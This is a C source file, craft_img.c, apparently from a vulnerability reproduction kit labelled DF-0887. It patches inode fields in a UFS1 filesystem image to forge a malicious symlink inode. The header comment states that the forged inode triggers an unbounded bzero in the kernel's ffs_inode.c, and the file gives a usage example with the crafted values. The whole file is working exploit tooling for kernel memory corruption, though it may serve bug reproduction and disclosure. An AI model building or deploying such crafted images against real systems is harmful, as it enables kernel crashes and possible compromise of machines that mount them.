DF-0887 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 | /* * craft_img.c - DF-0887 UFS inode patcher. * * Reads a base UFS1 image (produced by `newfs`), computes the on-disk byte * offset of a specified inode using the cylinder-group geometry in the * superblock, and patches selected 1/2/4/8-byte fields of the on-disk * `struct ufs1_dinode`. Used to forge the malicious VLNK inode that triggers * the unbounded `bzero(&i_shortlink, (uint)i_size)` in * sys/vfs/ufs/ffs_inode.c:165 (DF-0887). * * Geometry source: sys/vfs/ufs/fs.h macros ino_to_cg / ino_to_fsba / * ino_to_fsbo / cgimin / cgstart / cgbase (lines 442-460). * * Inode byte offset formula (all frags are fs_fsize bytes on disk): * cg = ino / fs_ipg * cgstart_frag= fs_fpg * cg + fs_cgoffset * (cg & ~fs_cgmask) * cgimin_frag = cgstart_frag + fs_iblkno * ino_blk = (ino % fs_ipg) / fs_inopb (which inode block) * fsba_frag = cgimin_frag + ino_blk * fs_frag (blkstofrags = *fs_frag) * fsbo = (ino % fs_ipg) % fs_inopb (inode within block) * byte_offset = fsba_frag * fs_fsize + fsbo * 128 * * struct ufs1_dinode field byte offsets (sys/vfs/ufs/dinode.h:69-99): * di_mode=0 (uint16) di_nlink=2 (int16) di_size=8 (uint64) * di_db=40 (ufs_daddr_t[12]=48B) di_blocks=104 (int32) * * Usage: craft_img <img> <ino> <field=size[:width]> [...] * width defaults to the natural width of the named field; explicit override * in bytes (1, 2, 4, 8). value is decimal or 0x-hex (use 0x... for raw LE). * Example: * craft_img base.img 3 di_size=4096 di_nlink=0 di_blocks=0 di_mode=0xa1ff * * Build: cc -o craft_img craft_img.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #define SBOFF 8192 /* on-disk superblock offset (fs.h:60 BBOFF+BBSIZE) */ #define DINODE_SIZE 128 /* sizeof(struct ufs1_dinode) */ /* superblock field byte offsets within `struct fs` (sys/vfs/ufs/fs.h:188-285). */ #define OFF_FS_SBLKNO 8 #define OFF_FS_CBLKNO 12 #define OFF_FS_IBLKNO 16 #define OFF_FS_DBLKNO 20 #define OFF_FS_CGOFFSET 24 #define OFF_FS_CGMASK 28 #define OFF_FS_BSIZE 48 #define OFF_FS_FSIZE 52 #define OFF_FS_FRAG 56 #define OFF_FS_INOPB 120 #define OFF_FS_IPG 184 #define OFF_FS_FPG 188 /* `struct ufs1_dinode` field byte offsets (sys/vfs/ufs/dinode.h:69-99). */ struct dinode_field { const char *name; size_t off; int width; /* natural width in bytes */ }; static const struct dinode_field dfields[] = { {"di_mode", 0, 2}, {"di_nlink", 2, 2}, {"di_size", 8, 8}, {"di_atime", 16, 4}, {"di_db", 40, 4}, /* first element; treated as start of shortlink */ {"di_blocks",104, 4}, {"di_gen", 108, 4}, {"di_uid", 112, 4}, {"di_gid", 116, 4}, {NULL, 0, 0} }; static uint32_t rd32(const unsigned char *p){ return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24); } static void wrLE(unsigned char *p, uint64_t v, int w){ for (int i=0;i<w;i++) p[i] = (unsigned char)((v >> (8*i)) & 0xff); } int main(int argc, char **argv){ if (argc < 4) { fprintf(stderr, "usage: %s <img> <ino> <field=size[:width]> [...]\n" " patches inode <ino> in <img>. fields: di_mode di_nlink di_size " "di_blocks di_db di_gen di_uid di_gid\n", argv[0]); return 2; } const char *imgpath = argv[1]; long long ino_ll = strtoll(argv[2], NULL, 10); if (ino_ll < 0) { fprintf(stderr,"bad ino\n"); return 2; } uint32_t ino = (uint32_t)ino_ll; FILE *f = fopen(imgpath, "r+b"); if (!f) { perror("open img"); return 2; } fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET); unsigned char *buf = malloc(sz); if (!buf) { perror("malloc"); return 2; } if ((long)fread(buf, 1, sz, f) != sz) { perror("read"); return 2; } /* sanity: superblock magic at SBOFF+1372 = 0x00011954 */ uint32_t magic = rd32(buf + SBOFF + 1372); if (magic != 0x011954) { fprintf(stderr, "warn: fs_magic=0x%x (expected 0x011954)\n", magic); } /* read needed superblock fields */ uint32_t fs_iblkno = rd32(buf + SBOFF + OFF_FS_IBLKNO); uint32_t fs_cgoffset = rd32(buf + SBOFF + OFF_FS_CGOFFSET); uint32_t fs_cgmask = rd32(buf + SBOFF + OFF_FS_CGMASK); uint32_t fs_bsize = rd32(buf + SBOFF + OFF_FS_BSIZE); uint32_t fs_fsize = rd32(buf + SBOFF + OFF_FS_FSIZE); uint32_t fs_frag = rd32(buf + SBOFF + OFF_FS_FRAG); uint32_t fs_inopb = rd32(buf + SBOFF + OFF_FS_INOPB); uint32_t fs_ipg = rd32(buf + SBOFF + OFF_FS_IPG); uint32_t fs_fpg = rd32(buf + SBOFF + OFF_FS_FPG); if (fs_fsize == 0 || fs_ipg == 0 || fs_inopb == 0) { fprintf(stderr, "bad sb geometry: fsize=%u ipg=%u inopb=%u\n", fs_fsize, fs_ipg, fs_inopb); return 2; } /* ino_to_cg / cgstart / cgimin / ino_to_fsba / ino_to_fsbo */ uint32_t cg = ino / fs_ipg; uint64_t cgbase_frag = (uint64_t)fs_fpg * cg; uint64_t cgstart_frag = cgbase_frag + (uint64_t)fs_cgoffset * (cg & ~fs_cgmask); uint64_t cgimin_frag = cgstart_frag + fs_iblkno; uint32_t ino_blk = (ino % fs_ipg) / fs_inopb; uint64_t fsba_frag = cgimin_frag + (uint64_t)ino_blk * fs_frag; uint32_t fsbo = (ino % fs_ipg) % fs_inopb; uint64_t inode_byte = fsba_frag * fs_fsize + (uint64_t)fsbo * DINODE_SIZE; printf("ino=%u cg=%u cgstart_frag=%llu cgimin_frag=%llu fsba_frag=%llu " "fsbo=%u inode_byte=%llu\n", ino, cg, (unsigned long long)cgstart_frag, (unsigned long long)cgimin_frag, (unsigned long long)fsba_frag, fsbo, (unsigned long long)inode_byte); printf("sb: iblkno=%u cgoffset=%u cgmask=0x%x bsize=%u fsize=%u frag=%u " "inopb=%u ipg=%u fpg=%u\n", fs_iblkno, fs_cgoffset, fs_cgmask, fs_bsize, fs_fsize, fs_frag, fs_inopb, fs_ipg, fs_fpg); if ((long)(inode_byte + DINODE_SIZE) > sz) { fprintf(stderr, "inode byte offset %llu beyond image size %ld\n", (unsigned long long)inode_byte, sz); return 2; } /* show before-state of the inode's key fields */ unsigned char *ino_p = buf + inode_byte; printf("before: di_mode=0x%04x di_nlink=%u di_size=%llu di_blocks=%d\n", (unsigned)(ino_p[0] | (ino_p[1]<<8)), (unsigned)(ino_p[2] | (ino_p[3]<<8)), (unsigned long long)( (uint64_t)ino_p[8] | ((uint64_t)ino_p[9]<<8) | ((uint64_t)ino_p[10]<<16) | ((uint64_t)ino_p[11]<<24) | ((uint64_t)ino_p[12]<<32) | ((uint64_t)ino_p[13]<<40) | ((uint64_t)ino_p[14]<<48) | ((uint64_t)ino_p[15]<<56)), (int)(int32_t)rd32(ino_p+104)); /* apply patches */ for (int a=3; a<argc; a++) { char *arg = argv[a]; char *eq = strchr(arg, '='); if (!eq) { fprintf(stderr,"bad arg '%s' (need field=value)\n", arg); return 2; } *eq = 0; char *fname = arg; char *vstr = eq+1; int width = -1; char *colon = strchr(vstr, ':'); if (colon) { *colon = 0; width = atoi(colon+1); } const struct dinode_field *fl = NULL; for (int i=0; dfields[i].name; i++) if (strcmp(dfields[i].name, fname)==0) { fl = &dfields[i]; break; } if (!fl) { fprintf(stderr,"unknown field '%s'\n", fname); return 2; } if (width < 1) width = fl->width; if (width != 1 && width != 2 && width != 4 && width != 8) { fprintf(stderr,"bad width %d for %s\n", width, fname); return 2; } unsigned long long v; char *end; if (vstr[0]=='0' && vstr[1]=='x') v = strtoull(vstr, &end, 16); else v = strtoull(vstr, &end, 10); if (*end != 0) { fprintf(stderr,"bad value '%s' for %s\n", vstr, fname); return 2; } if ((long)(inode_byte + fl->off + width) > sz) { fprintf(stderr,"patch out of range\n"); return 2; } wrLE(ino_p + fl->off, v, width); printf("patched %s @ ino off %zu width %d = 0x%llx\n", fname, fl->off, width, v); } /* commit */ fseek(f, 0, SEEK_SET); if ((long)fwrite(buf, 1, sz, f) != sz) { perror("write"); return 2; } fclose(f); free(buf); printf("OK inode %u patched in %s\n", ino, imgpath); return 0; } |